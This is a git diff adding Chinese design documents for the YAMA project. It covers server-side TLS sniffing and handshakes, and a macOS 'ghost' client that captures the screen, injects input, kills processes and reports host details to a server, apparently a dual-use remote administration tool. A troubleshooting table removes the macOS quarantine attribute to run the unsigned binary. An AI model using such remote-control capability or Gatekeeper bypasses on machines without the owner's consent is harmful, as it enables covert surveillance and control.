`CONTEXT_OBJECT` 经 `AllocateContext`(`:1311`)从 `m_ContextFreePoolList` **复用**、`InitMember`(`:1314`)复位。故 TLS 状态必须在 `InitMember` 里清空 `tlsPreClassify`、`FreeTls()`、复位 `tlsState`(`store(TLS_Unclassified)`)与 `bSendPending=false`(避免上次连接残留的在途标志抑制新连接发送),并在 `~CONTEXT_OBJECT`(`Server.h:346`)`FreeTls()`。否则「前一个 TLS 连接的状态漏给下一个明文连接」会直接导致解析错乱。这是唯一需要跨过 `InitMember`/析构两处做的生命周期接线。
|
||||
|
||||
### 5.8 明确不动的部分
|
||||
|
||||
- `ParseReceivedData` 内的 `Parse`/解压/`Decode`、`WriteContextData` 内的 `Encode`/压缩/掩码:**零改动**。
|
||||
- `HeaderParser` / `context`(`context.h`)协议层:**零改动**。
|
||||
- `OnAccept` / `PostRecv` / `AllocateContext` / `RemoveStaleContext` 主结构:**零改动**(仅新增 TLS 分支与字段复位)。
|
||||
- KCP / UDP 传输(`IOCPKCPServer`):**零改动**(不在本期范围)。
|
||||
|
||||
## 6. 新老客户端兼容矩阵
|
||||
|
||||
| 客户端 | 服务端 TLS 状态 | 服务端行为 | 结果 |
|
||||
|---|---|---|---|
|
||||
| 老客户端(无 TLS 概念) | 未配置 | 明文路径 | 与现状完全一致 |
|
||||
| 老客户端 | 已配置 | 嗅探判为明文 → 明文路径 | 与现状完全一致(透明) |
|
||||
| 新客户端 · 无证书 | 未配置 / 已配置 | 明文路径 | 与老客户端一致(默认) |
|
||||
| 新客户端 · 有证书 | 已配置 | 嗅探判为 TLS → 握手 → 加密 | 全量加密 |
|
||||
| 新客户端 · 有证书 | 未配置 | 嗅探判为 TLS → 无证书可握手 → **关连接(fail-closed)** | 拒绝(见 §8) |
|
||||
|
||||
## 7. 与未来「下发/撤销指令 + UI」的接缝
|
||||
|
||||
本次不实现 UI 与指令,但通过 §4.2 四条约束预留干净接缝。二者未来的分工与依赖:
|
||||
|
||||
- **UI**:在 MFC 配置对话框(类 MCP)里加「启用传输加密 + 指定一对密钥」,写入 `[tls]` 三键 → 调 `ServerTlsIdentity::Load(config&)` 重载 → `IsEnabled()` 即时生效。**只碰 §4.2 第 1/2 点,不碰传输层。**
|
||||
- **「向在线主机下发启用/撤销加密」指令**:服务端侧是一条新的命令通道(遍历在线连接广播),客户端侧是**运行时热切换**——收到指令后热加载/删除信任锚、断开重连走新通道。
|
||||
|
||||
**必须先说破的跨端依赖**:这条指令真正的大头在**客户端**——客户端目前读 `tls_cert` 是进程启动读一次、`std::call_once`、**不可热切换**(见上游 §6.1 及 `docs/tls-cert-push-revoke-deferred` 记忆)。因此「下发/撤销」落地时,客户端要先把 `TlsEnabled()` 的一次读死改成「指令驱动的热重载」。**这与本次服务端传输层正交**——只要 §4.2 第 2/3 点把服务端状态做成可重载、可中心化查询,未来就能干净接上,无需回头改本次代码。
|
||||
|
||||
## 8. 安全考量
|
||||
|
||||
- **TLS 提供**:机密性、完整性、服务端身份(客户端校验)、抗重放(TLS record 序号 + nonce)。对 TLS 客户端而言,Measure 1(真加密 + 防重放)达成,与 Go 端一致。
|
||||
- **TLS 不提供**(单向):客户端身份——仍由隧道内登录承担。
|
||||
- **服务端 fail-closed**:服务端收到 TLS ClientHello 但自身未配证书/身份加载失败 → **直接关连接**,禁止把 TLS 字节当协议去解析(否则新客户端握手失败重试 + 服务端狂报解析错)。与客户端 fail-closed 语义对称(见上游 §6.4)。
|
||||
- **握手 DoS**:TLS 握手有 CPU 开销,须受 per-IP 限流(现有)保护;方案 A 的短命握手线程还须加握手超时(`SSPI` 握手期间设 socket 收发超时,超时关连接)。
|
||||
- **部署顺序**(关键):**MFC 服务端证书必须与客户端 CA 一起(或先于)上线**。否则「新客户端(已钉 CA)连旧 MFC 服务端(无证书)」→ 客户端 fail-closed 直接拒绝,表现为「升级客户端后连不上老服务端」。这是设计使然,部署/文档须写明。
|
||||
- **私钥安全**:服务器私钥只在握手时由 Schannel 内部签名使用(ECDHE)或解密预主密钥(RSA),不参与业务数据加解密;私钥文件应最小权限存放、不落日志。真正的长期秘密(CA 私钥)平时离线,仅在签发/轮换服务器证书时使用。
|
||||
|
||||
## 9. 部署与运维
|
||||
|
||||
生成服务端身份(与 Go 端 §9.1 的 `server.crt` + `server.key` 完全同一对密钥;私钥须 PKCS#8):
|
||||
|
||||
```bash
|
||||
# 若私钥是 PKCS#1(-----BEGIN RSA/EC PRIVATE KEY-----),先转 PKCS#8:
|
||||
openssl pkcs8 -topk8 -nocrypt -in server.key -out server.key
|
||||
```
|
||||
|
||||
MFC 服务端配置(直接指向与 Go 端相同的 PEM 文件):
|
||||
|
||||
```ini
|
||||
[tls]
|
||||
Enabled = 1
|
||||
CertPath = C:\YAMA\server.crt
|
||||
KeyPath = C:\YAMA\server.key
|
||||
```
|
||||
|
||||
重启 MFC 服务端即生效(本次仅启动时读一次,热切换待未来 UI)。删除 `[tls]` 节或置 `Enabled=0` 即回纯明文。
|
||||
|
||||
## 10. 测试计划
|
||||
|
||||
1. **嗅探单元**:`0x16 0x03 .. 0x01`(TLS 1.2/1.3 ClientHello)/ 明文首包 / 混淆头(首两字节 `0x16 0x03` 但 `b[5]!=0x01`)/ 首包 <6 字节分片 的判定。
|
||||
2. **TLS 未配置**:`Enabled=0` 或无证书 → 纯明文,行为与现状一致(老 + 新无证书客户端回归)。
|
||||
3. **明文回归**:老客户端全链路(登录/屏幕/终端/文件)不回归。
|
||||
4. **TLS 加密**:新客户端(有证书)连 MFC 服务端 → 握手成功,登录/屏幕/终端/文件子连接全部在 TLS 内跑通;抓包确认 payload 不可读。
|
||||
5. **混合并发**:明文与 TLS 客户端同时在线,互不干扰(对应未来过渡期)。
|
||||
6. **fail-closed 双向**:① 服务端未配证书但收到 ClientHello → 关连接不误解析;② 客户端有证书但服务端证书不匹配 → 客户端断开不回退明文。
|
||||
7. **握手超时 / 限流**:恶意慢握手被超时 + per-IP 限流压制。
|
||||
8. **连接复用**:一条 TLS 连接断开后,context 回池再被明文连接复用,TLS 状态已复位、无泄漏(§5.7)。
|
||||
|
||||
## 11. 分期与回滚
|
||||
|
||||
- **本期(MFC 服务端传输加密,已实施)**:`ServerTlsIdentity`(PEM+CNG 加载)+ `CONTEXT_OBJECT` 字段(`tlsState` 枚举)+ 嗅探/预分类 + 握手(方案 A)+ ①收包解密 + ②发包加密 + 生命周期复位。可独立验证——用 `openssl s_client` 或复用 Go 端测试客户端联调,无需真实客户端配合。
|
||||
- **后续 A(UI)**:MCP 式配置对话框 + 重载 `ServerTlsIdentity`。
|
||||
- **后续 B(下发/撤销指令)**:服务端指令通道 + **客户端热切换**(客户端 `TlsEnabled()` 改指令驱动,见 §7)。
|
||||
- **回滚**:服务端 `[tls] Enabled=0` 即回纯明文,无需改客户端(客户端无证书时本就明文)。
|
||||
|
||||
## 12. 已拍板决策与仍待定问题
|
||||
|
||||
**已拍板(2026-10-14)**:
|
||||
|
||||
1. **握手方案**:采用 **方案 A(专用阻塞线程)**,见 §5.3。
|
||||
2. **身份文件格式**:采用 **PEM + CNG(`CertPath` + `KeyPath`,私钥 PKCS#8)**,与 Go 服务端共用同一对密钥,见 §5.6。
|
||||
3. **配置节名**:新建 **`[tls]` 节**,键 `Enabled` / `CertPath` / `KeyPath`,见 §4.1。
|
||||
|
||||
**仍待定**:
|
||||
|
||||
1. **KCP/UDP 传输是否也要 TLS**:本期不含,另行评估。
|
||||
2. **MFC 的 MCP 式配置 UI**:显式排除,见 §7;落地时只碰 §4.2 第 1/2 点。
|
||||
@@ -0,0 +1,576 @@
|
||||
# macOS 远程桌面客户端设计文档
|
||||
|
||||
## 1. 概述
|
||||
|
||||
### 1.1 目标
|
||||
|
||||
在不影响现有 Windows/Linux 功能的基础上,为 YAMA 项目添加 macOS 客户端支持,前期实现远程桌面控制功能。
|
||||
|
||||
### 1.2 功能范围(Phase 1)
|
||||
|
||||
| 功能 | 优先级 | 状态 | 说明 |
|
||||
|-----|--------|------|------|
|
||||
| 连接服务器 | P0 | ⏳ Stub | 复用现有网络协议 |
|
||||
| 屏幕捕获 | P0 | ✅ 完成 | CGDisplayCreateImage 实现 |
|
||||
| 鼠标控制 | P0 | ✅ 完成 | CGEvent 实现 |
|
||||
| 键盘控制 | P0 | ✅ 完成 | CGEvent + VK映射 |
|
||||
| 光标同步 | P1 | ⏳ 待实现 | 显示当前光标类型 |
|
||||
| 多显示器 | P2 | ⏳ 待实现 | 支持多屏幕选择 |
|
||||
|
||||
### 1.3 参考实现
|
||||
|
||||
- **Linux 客户端** (`linux/`): 架构相似,协议兼容
|
||||
- **RustDesk**: 成熟的跨平台远程桌面开源项目
|
||||
- **Sunshine**: 高性能游戏串流项目
|
||||
|
||||
---
|
||||
|
||||
## 2. 架构设计
|
||||
|
||||
### 2.1 目录结构(已实现)
|
||||
|
||||
```
|
||||
YAMA/
|
||||
├── common/ # 跨平台共享(已有)
|
||||
│ ├── commands.h # 协议定义
|
||||
│ └── ...
|
||||
├── client/ # Windows 客户端(不动)
|
||||
├── linux/ # Linux 客户端(不动)
|
||||
└── macos/ # macOS 客户端(Phase 1 完成)
|
||||
├── CMakeLists.txt # 构建配置
|
||||
├── build.sh # 一键编译脚本
|
||||
├── README.txt # 使用说明
|
||||
├── IOCPClient.h # 网络客户端 stub
|
||||
├── main.mm # 入口点 + 系统信息
|
||||
├── Permissions.h # 权限检查声明
|
||||
├── Permissions.mm # 权限检查实现
|
||||
├── ScreenHandler.h # 屏幕捕获声明
|
||||
├── ScreenHandler.mm # 屏幕捕获实现
|
||||
├── InputHandler.h # 输入模拟声明
|
||||
├── InputHandler.mm # 输入模拟实现
|
||||
├── SystemManager.h # 进程管理声明
|
||||
└── SystemManager.mm # 进程管理实现
|
||||
```
|
||||
|
||||
### 2.2 模块依赖关系
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────┐
|
||||
│ main.mm │
|
||||
│ (入口、权限检查、系统信息收集) │
|
||||
└─────────────┬───────────────────────────────────┘
|
||||
│
|
||||
┌─────────┼─────────┬─────────────┐
|
||||
▼ ▼ ▼ ▼
|
||||
┌───────┐ ┌───────┐ ┌───────┐ ┌────────────┐
|
||||
│Screen │ │Input │ │System │ │IOCPClient │
|
||||
│Handler│ │Handler│ │Manager│ │(网络 stub) │
|
||||
└───┬───┘ └───┬───┘ └───────┘ └────────────┘
|
||||
│ │
|
||||
▼ ▼
|
||||
┌─────────────────────────────────┐
|
||||
│ macOS 系统框架 │
|
||||
│ CoreGraphics (截屏) │
|
||||
│ Carbon (键码定义) │
|
||||
│ ApplicationServices (权限) │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. 技术选型
|
||||
|
||||
### 3.1 屏幕捕获方案(已选定)
|
||||
|
||||
| 方案 | 最低版本 | 性能 | 复杂度 | 选择 |
|
||||
|-----|---------|------|--------|-----|
|
||||
| `CGDisplayCreateImage` | 10.5 | 中 | 低 | **✅ 已采用** |
|
||||
| `CGDisplayStream` | 10.8 | 中 | 中 | 备选 |
|
||||
| `ScreenCaptureKit` | 12.3 | 高 | 高 | 未来考虑 |
|
||||
|
||||
**选择 CGDisplayCreateImage**:
|
||||
- 实现简单,兼容性好
|
||||
- 与 Linux 端 `XGetImage` 方案一致
|
||||
- 足以支持 10-30 FPS 传输
|
||||
|
||||
### 3.2 输入模拟方案(已实现)
|
||||
|
||||
| 功能 | API | 实现状态 |
|
||||
|-----|-----|---------|
|
||||
| 鼠标移动 | `CGEventCreateMouseEvent` | ✅ 完成 |
|
||||
| 鼠标点击 | `CGEventCreateMouseEvent` | ✅ 完成 |
|
||||
| 鼠标拖动 | `kCGEventLeftMouseDragged` | ✅ 完成 |
|
||||
| 鼠标滚轮 | `CGEventCreateScrollWheelEvent` | ✅ 完成 |
|
||||
| 键盘输入 | `CGEventCreateKeyboardEvent` | ✅ 完成 |
|
||||
| 事件发送 | `CGEventPost(kCGHIDEventTap)` | ✅ 完成 |
|
||||
|
||||
### 3.3 VK 键码映射(已实现)
|
||||
|
||||
Windows VK 码到 macOS CGKeyCode 的完整映射:
|
||||
|
||||
| 按键类型 | VK 范围 | macOS 映射 |
|
||||
|---------|---------|-----------|
|
||||
| 字母 A-Z | 0x41-0x5A | kVK_ANSI_A - kVK_ANSI_Z |
|
||||
| 数字 0-9 | 0x30-0x39 | kVK_ANSI_0 - kVK_ANSI_9 |
|
||||
| 小键盘 | 0x60-0x69 | kVK_ANSI_Keypad0 - 9 |
|
||||
| F1-F12 | 0x70-0x7B | kVK_F1 - kVK_F12 |
|
||||
| 方向键 | 0x25-0x28 | kVK_LeftArrow 等 |
|
||||
| 修饰键 | 0x10-0x12 | kVK_Shift/Control/Option |
|
||||
| Win 键 | 0x5B-0x5C | kVK_Command |
|
||||
|
||||
### 3.4 差分算法(与 Linux 一致)
|
||||
|
||||
| 算法 | ID | 说明 |
|
||||
|-----|-----|------|
|
||||
| ALGORITHM_GRAY | 0 | 灰度压缩 |
|
||||
| ALGORITHM_DIFF | 1 | BGRA 差分 |
|
||||
| ALGORITHM_H264 | 2 | 硬件编码(未实现)|
|
||||
| ALGORITHM_RGB565 | 3 | RGB565 压缩 |
|
||||
|
||||
### 3.5 macOS 版本支持
|
||||
|
||||
| 版本 | 代号 | 发布年份 | 支持状态 |
|
||||
|-----|------|---------|---------|
|
||||
| 10.13 | High Sierra | 2017 | ✅ 目标最低版本 |
|
||||
| 10.14 | Mojave | 2018 | ✅ 支持 |
|
||||
| 10.15 | Catalina | 2019 | ✅ 支持(需权限) |
|
||||
| 11.x | Big Sur | 2020 | ✅ 支持 |
|
||||
| 12.x | Monterey | 2021 | ✅ 支持 |
|
||||
| 13.x | Ventura | 2022 | ✅ 支持 |
|
||||
| 14.x | Sonoma | 2023 | ✅ 支持 |
|
||||
|
||||
**注意**:macOS 10.15+ 需要用户授予屏幕录制权限。
|
||||
|
||||
---
|
||||
|
||||
## 4. 权限处理
|
||||
|
||||
### 4.1 所需权限
|
||||
|
||||
| 权限 | 用途 | 最低要求版本 | 授权方式 |
|
||||
|-----|------|------------|---------|
|
||||
| **屏幕录制** | 捕获屏幕内容 | 10.15 | 系统偏好设置 > 隐私 > 屏幕录制 |
|
||||
| **辅助功能** | 模拟键盘/鼠标输入 | 所有版本 | 系统偏好设置 > 隐私 > 辅助功能 |
|
||||
|
||||
### 4.2 权限检查实现(Permissions.mm)
|
||||
|
||||
```objc
|
||||
// 检查屏幕录制权限
|
||||
bool Permissions::checkScreenCapture() {
|
||||
if (@available(macOS 10.15, *)) {
|
||||
CGImageRef image = CGWindowListCreateImage(
|
||||
CGRectMake(0, 0, 1, 1),
|
||||
kCGWindowListOptionOnScreenOnly,
|
||||
kCGNullWindowID,
|
||||
kCGWindowImageDefault
|
||||
);
|
||||
if (image == nil) return false;
|
||||
CGImageRelease(image);
|
||||
return true;
|
||||
}
|
||||
return true; // 10.15 之前不需要权限
|
||||
}
|
||||
|
||||
// 检查辅助功能权限
|
||||
bool Permissions::checkAccessibility() {
|
||||
return AXIsProcessTrusted();
|
||||
}
|
||||
|
||||
// 请求辅助功能权限(弹出系统对话框)
|
||||
void Permissions::requestAccessibility() {
|
||||
NSDictionary *options = @{
|
||||
(__bridge id)kAXTrustedCheckOptionPrompt: @YES
|
||||
};
|
||||
AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)options);
|
||||
}
|
||||
```
|
||||
|
||||
### 4.3 权限引导流程
|
||||
|
||||
```
|
||||
程序启动
|
||||
│
|
||||
▼
|
||||
检查屏幕录制权限 ──否──▶ 打开系统偏好设置
|
||||
│
|
||||
是
|
||||
│
|
||||
▼
|
||||
检查辅助功能权限 ──否──▶ 弹出授权对话框
|
||||
│
|
||||
是
|
||||
│
|
||||
▼
|
||||
正常运行
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 核心代码实现
|
||||
|
||||
### 5.1 ScreenHandler(已实现)
|
||||
|
||||
```objc
|
||||
// ScreenHandler.h
|
||||
class ScreenHandler {
|
||||
public:
|
||||
ScreenHandler();
|
||||
~ScreenHandler();
|
||||
|
||||
bool init(); // 初始化
|
||||
void start(IOCPClient* client, uint64_t id); // 开始捕获
|
||||
void stop(); // 停止捕获
|
||||
|
||||
int getWidth() const;
|
||||
int getHeight() const;
|
||||
|
||||
void sendBitmapInfo(); // 发送屏幕信息
|
||||
void onReceive(const uint8_t* data, size_t size);
|
||||
void applyQualityLevel(int8_t level, bool persist);
|
||||
|
||||
private:
|
||||
bool captureScreen(std::vector<uint8_t>& buffer); // 截屏
|
||||
void sendFirstScreen(); // 发送首帧
|
||||
void sendDiffFrame(); // 发送差分帧
|
||||
uint32_t compareBitmap(...); // 差分计算
|
||||
void convertBGRAtoGray(...); // 灰度转换
|
||||
void convertBGRAtoRGB565(...); // RGB565转换
|
||||
void captureLoop(); // 捕获循环
|
||||
|
||||
// 成员变量
|
||||
IOCPClient* m_client;
|
||||
CGDirectDisplayID m_displayID;
|
||||
BITMAPINFOHEADER_MAC m_bmpHeader;
|
||||
std::vector<uint8_t> m_prevFrame, m_currFrame;
|
||||
std::atomic<bool> m_running;
|
||||
std::atomic<uint8_t> m_algorithm;
|
||||
std::atomic<int> m_maxFPS;
|
||||
};
|
||||
```
|
||||
|
||||
### 5.2 InputHandler(已实现)
|
||||
|
||||
```objc
|
||||
// InputHandler.h
|
||||
class InputHandler {
|
||||
public:
|
||||
InputHandler();
|
||||
~InputHandler();
|
||||
|
||||
bool init(); // 初始化(检查权限)
|
||||
void handleInputEvent(const MSG64_MAC* msg); // 处理输入事件
|
||||
bool hasAccessibilityPermission() const;
|
||||
|
||||
private:
|
||||
void handleMouseMove(int x, int y);
|
||||
void handleMouseButton(CGMouseButton button, bool down, int x, int y);
|
||||
void handleMouseDoubleClick(CGMouseButton button, int x, int y);
|
||||
void handleMouseWheel(int delta);
|
||||
void handleKeyEvent(uint32_t vkCode, bool down);
|
||||
|
||||
static CGKeyCode vkToMacKeyCode(uint32_t vk); // VK 到 macOS 键码映射
|
||||
|
||||
bool m_hasPermission;
|
||||
CGPoint m_lastMousePos;
|
||||
bool m_leftButtonDown, m_rightButtonDown, m_middleButtonDown;
|
||||
};
|
||||
```
|
||||
|
||||
### 5.3 SystemManager(已实现)
|
||||
|
||||
```objc
|
||||
// SystemManager.h
|
||||
class SystemManager {
|
||||
public:
|
||||
SystemManager(IOCPClient* client, uint64_t clientID);
|
||||
~SystemManager();
|
||||
|
||||
void onReceive(const uint8_t* data, size_t size);
|
||||
|
||||
private:
|
||||
void sendProcessList(); // 进程列表
|
||||
void killProcesses(const uint8_t* data, size_t size);
|
||||
void sendWindowsList(); // 窗口列表
|
||||
|
||||
static std::vector<pid_t> getAllPids(); // 枚举进程
|
||||
static std::string getProcessName(pid_t pid);
|
||||
static std::string getProcessPath(pid_t pid);
|
||||
};
|
||||
```
|
||||
|
||||
### 5.4 main.mm(已实现)
|
||||
|
||||
主要功能:
|
||||
- 命令行参数解析
|
||||
- 权限检查和引导
|
||||
- 系统信息收集(主机名、OS版本、CPU、内存等)
|
||||
- 初始化各处理器
|
||||
- 主事件循环
|
||||
|
||||
```objc
|
||||
int main(int argc, const char* argv[]) {
|
||||
@autoreleasepool {
|
||||
// 1. 解析命令行参数
|
||||
// 2. 检查权限
|
||||
// 3. 收集系统信息
|
||||
// 4. 初始化 ScreenHandler, InputHandler
|
||||
// 5. 主循环
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 构建配置
|
||||
|
||||
### 6.1 CMakeLists.txt
|
||||
|
||||
```cmake
|
||||
cmake_minimum_required(VERSION 3.15)
|
||||
project(ghost_macos)
|
||||
|
||||
set(CMAKE_CXX_STANDARD 17)
|
||||
set(CMAKE_OSX_DEPLOYMENT_TARGET "10.13")
|
||||
set(CMAKE_OSX_ARCHITECTURES "x86_64;arm64") # Universal Binary
|
||||
|
||||
set(SOURCES
|
||||
main.mm
|
||||
ScreenHandler.mm
|
||||
InputHandler.mm
|
||||
SystemManager.mm
|
||||
Permissions.mm
|
||||
)
|
||||
|
||||
add_executable(ghost ${SOURCES})
|
||||
|
||||
target_include_directories(ghost PRIVATE ${CMAKE_CURRENT_SOURCE_DIR})
|
||||
|
||||
# 链接 macOS 框架
|
||||
find_library(COCOA_FRAMEWORK Cocoa REQUIRED)
|
||||
find_library(COREGRAPHICS_FRAMEWORK CoreGraphics REQUIRED)
|
||||
find_library(IOKIT_FRAMEWORK IOKit REQUIRED)
|
||||
find_library(IOSURFACE_FRAMEWORK IOSurface REQUIRED)
|
||||
find_library(APPLICATIONSERVICES_FRAMEWORK ApplicationServices REQUIRED)
|
||||
find_library(SECURITY_FRAMEWORK Security REQUIRED)
|
||||
find_library(CARBON_FRAMEWORK Carbon REQUIRED)
|
||||
|
||||
target_link_libraries(ghost PRIVATE
|
||||
${COCOA_FRAMEWORK}
|
||||
${COREGRAPHICS_FRAMEWORK}
|
||||
${IOKIT_FRAMEWORK}
|
||||
${IOSURFACE_FRAMEWORK}
|
||||
${APPLICATIONSERVICES_FRAMEWORK}
|
||||
${SECURITY_FRAMEWORK}
|
||||
${CARBON_FRAMEWORK}
|
||||
)
|
||||
|
||||
target_compile_options(ghost PRIVATE -Wall -Wextra -fobjc-arc)
|
||||
```
|
||||
|
||||
### 6.2 编译命令
|
||||
|
||||
```bash
|
||||
# 方式 1: 使用脚本
|
||||
chmod +x build.sh
|
||||
./build.sh
|
||||
|
||||
# 方式 2: 手动编译
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
make -j$(sysctl -n hw.ncpu)
|
||||
|
||||
# 输出: build/bin/ghost
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. 实现进度
|
||||
|
||||
### Phase 1: 基础框架 ✅ 完成
|
||||
|
||||
| 任务 | 状态 | 产出 |
|
||||
|-----|------|------|
|
||||
| 创建目录结构 | ✅ | `macos/` 目录 |
|
||||
| CMakeLists.txt | ✅ | 构建配置 |
|
||||
| Permissions.h/mm | ✅ | 权限检查 |
|
||||
| ScreenHandler.h/mm | ✅ | 屏幕捕获 |
|
||||
| InputHandler.h/mm | ✅ | 输入模拟 |
|
||||
| SystemManager.h/mm | ✅ | 进程管理 |
|
||||
| main.mm | ✅ | 入口点 |
|
||||
| IOCPClient.h | ✅ | 网络 stub |
|
||||
|
||||
### Phase 2: 网络集成 ⏳ 待实现
|
||||
|
||||
| 任务 | 状态 | 说明 |
|
||||
|-----|------|------|
|
||||
| IOCPClient 实现 | ⏳ | 复用 client/IOCPClient |
|
||||
| 登录信息发送 | ⏳ | LOGIN_INFOR 结构 |
|
||||
| 心跳保活 | ⏳ | Heartbeat 机制 |
|
||||
| 命令分发 | ⏳ | DataProcess 回调 |
|
||||
|
||||
### Phase 3: 功能完善 ⏳ 待实现
|
||||
|
||||
| 任务 | 状态 |
|
||||
|-----|------|
|
||||
| 光标类型同步 | ⏳ |
|
||||
| 多显示器支持 | ⏳ |
|
||||
| 文件传输 | ⏳ |
|
||||
| 剪贴板同步 | ⏳ |
|
||||
|
||||
### Phase 4: 代码保护 ⏳ 待实现
|
||||
|
||||
| 任务 | 状态 |
|
||||
|-----|------|
|
||||
| 服务端密钥对生成 | ⏳ |
|
||||
| 服务端签名逻辑 | ⏳ |
|
||||
| 闭源库 libYamaCore | ⏳ |
|
||||
| 客户端绑定验证 | ⏳ |
|
||||
|
||||
---
|
||||
|
||||
## 8. 测试指南
|
||||
|
||||
### 8.1 编译前准备
|
||||
|
||||
```bash
|
||||
# 安装 Xcode Command Line Tools
|
||||
xcode-select --install
|
||||
|
||||
# 安装 CMake (通过 Homebrew)
|
||||
brew install cmake
|
||||
```
|
||||
|
||||
### 8.2 编译运行
|
||||
|
||||
```bash
|
||||
# 获取代码
|
||||
git clone <repo-url>
|
||||
cd YAMA/macos
|
||||
|
||||
# 编译
|
||||
./build.sh
|
||||
|
||||
# 运行
|
||||
./build/bin/ghost [server_ip] [port]
|
||||
```
|
||||
|
||||
### 8.3 首次运行权限授予
|
||||
|
||||
1. **屏幕录制权限**:
|
||||
- 系统偏好设置 > 隐私与安全性 > 屏幕录制
|
||||
- 添加 `ghost` 可执行文件
|
||||
|
||||
2. **辅助功能权限**:
|
||||
- 系统偏好设置 > 隐私与安全性 > 辅助功能
|
||||
- 添加 `ghost` 可执行文件
|
||||
|
||||
### 8.4 预期输出
|
||||
|
||||
```
|
||||
=== macOS Ghost Client (Phase 1) ===
|
||||
Server: 192.168.0.55:6543
|
||||
Checking permissions...
|
||||
Collecting system information...
|
||||
Hostname: MacBook-Pro.local
|
||||
OS: macOS 14.0.0
|
||||
CPU: Apple M1 (0 MHz, 8 cores)
|
||||
Memory: 16.0 GB
|
||||
User: username
|
||||
Resolution: 1:2560x1600
|
||||
Executable: /path/to/ghost
|
||||
Start Time: 2024-04-29 12:00:00
|
||||
Initializing handlers...
|
||||
Screen handler initialized: 2560x1600
|
||||
Input handler initialized
|
||||
=== Phase 1 Status ===
|
||||
Screen Capture: READY
|
||||
Input Control: READY
|
||||
Network: STUB (Phase 2)
|
||||
======================
|
||||
Starting main loop (Ctrl+C to exit)...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. 常见问题
|
||||
|
||||
### 9.1 编译问题
|
||||
|
||||
| 问题 | 原因 | 解决方案 |
|
||||
|-----|------|---------|
|
||||
| 找不到 Foundation.h | 缺少 Xcode CLT | `xcode-select --install` |
|
||||
| CMake 找不到 | 未安装 CMake | `brew install cmake` |
|
||||
| 架构不匹配 | Universal Binary 问题 | 检查 CMAKE_OSX_ARCHITECTURES |
|
||||
|
||||
### 9.2 运行时问题
|
||||
|
||||
| 问题 | 原因 | 解决方案 |
|
||||
|-----|------|---------|
|
||||
| 程序无法打开 | 未签名 | `xattr -d com.apple.quarantine ghost` |
|
||||
| Screen Capture: NEED PERMISSION | 无录屏权限 | 系统偏好设置授权 |
|
||||
| Input Control: NEED PERMISSION | 无辅助功能权限 | 系统偏好设置授权 |
|
||||
|
||||
### 9.3 权限重置
|
||||
|
||||
```bash
|
||||
# 如果权限状态混乱,可重置
|
||||
tccutil reset ScreenCapture
|
||||
tccutil reset Accessibility
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 10. 代码保护机制(待实现)
|
||||
|
||||
### 10.1 保护策略
|
||||
|
||||
核心思路:客户端内嵌服务端公钥,连接时验证服务端身份。
|
||||
|
||||
```
|
||||
┌─────────────────────┐ ┌─────────────────────┐
|
||||
│ macOS Client │ │ Your Server │
|
||||
│ │ 1. 挑战请求 │ │
|
||||
│ ┌─────────────────┐ │ ─────────────────▶ │ ┌─────────────────┐ │
|
||||
│ │ libYamaCore.a │ │ │ │ 服务端私钥 │ │
|
||||
│ │ (闭源) │ │ ◀───────────────── │ │ │ │
|
||||
│ │ 内嵌服务端公钥 │ │ 2. 签名响应 │ └─────────────────┘ │
|
||||
│ │ │ │ │ │
|
||||
│ │ 验证签名 ─────▶ 匹配 ──▶ 正常工作 │
|
||||
│ │ ─────▶ 不匹配 ──▶ 拒绝连接 │
|
||||
│ └─────────────────┘ │ │ │
|
||||
└─────────────────────┘ └─────────────────────┘
|
||||
```
|
||||
|
||||
### 10.2 实施步骤
|
||||
|
||||
1. 生成服务端密钥对
|
||||
2. 服务端添加签名逻辑
|
||||
3. 创建闭源库 libYamaCore
|
||||
4. 嵌入公钥编译
|
||||
5. 客户端集成验证
|
||||
|
||||
---
|
||||
|
||||
## 11. 参考资料
|
||||
|
||||
### 11.1 官方文档
|
||||
|
||||
- [CGDisplayCreateImage](https://developer.apple.com/documentation/coregraphics/1454434-cgdisplaycreateimage)
|
||||
- [CGEvent Reference](https://developer.apple.com/documentation/coregraphics/cgevent)
|
||||
- [Carbon Events.h](https://developer.apple.com/documentation/carbon/events_h)
|
||||
- [Accessibility API](https://developer.apple.com/documentation/applicationservices/axuielement_h)
|
||||
|
||||
### 11.2 开源项目参考
|
||||
|
||||
- [RustDesk macOS](https://github.com/rustdesk/rustdesk/tree/master/src/platform/macos)
|
||||
- [Sunshine Screen Capture](https://github.com/LizardByte/Sunshine/tree/master/src/platform/macos)
|
||||
|
||||
---
|
||||
|
||||
## 12. 修订历史
|
||||
|
||||
| 日期 | 版本 | 修改内容 |
|
||||
|-----|------|---------|
|
||||
| 2026-04-28 | 1.0 | 初始版本(设计文档) |
|
||||
| 2026-04-29 | 1.1 | 更新为实现文档,Phase 1 完成 |
|
||||
@@ -478,6 +478,14 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
|
||||
return FALSE;
|
||||
}
|
||||
iniFile cfg;
|
||||
int bits = cfg.GetInt("auth", "bits", 64);
|
||||
const int currentBits = sizeof(int*) * 8;
|
||||
if (bits != currentBits) {
|
||||
Mprintf("[InitInstance] 运行%d位程序,上次运行为%d位\n", currentBits, bits);
|
||||
cfg.SetInt("auth", "bits", currentBits);
|
||||
cfg.SetStr("auth", "version", "");
|
||||
}
|
||||
|
||||
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
||||
|
||||
@@ -489,6 +497,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
|
||||
// 确保是正常模式(服务端已设置,这里再次确保)
|
||||
THIS_CFG.SetInt("settings", "RunNormal", 1);
|
||||
THIS_CFG.SetStr("auth", "version", "");
|
||||
runNormal = 1;
|
||||
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
|
||||
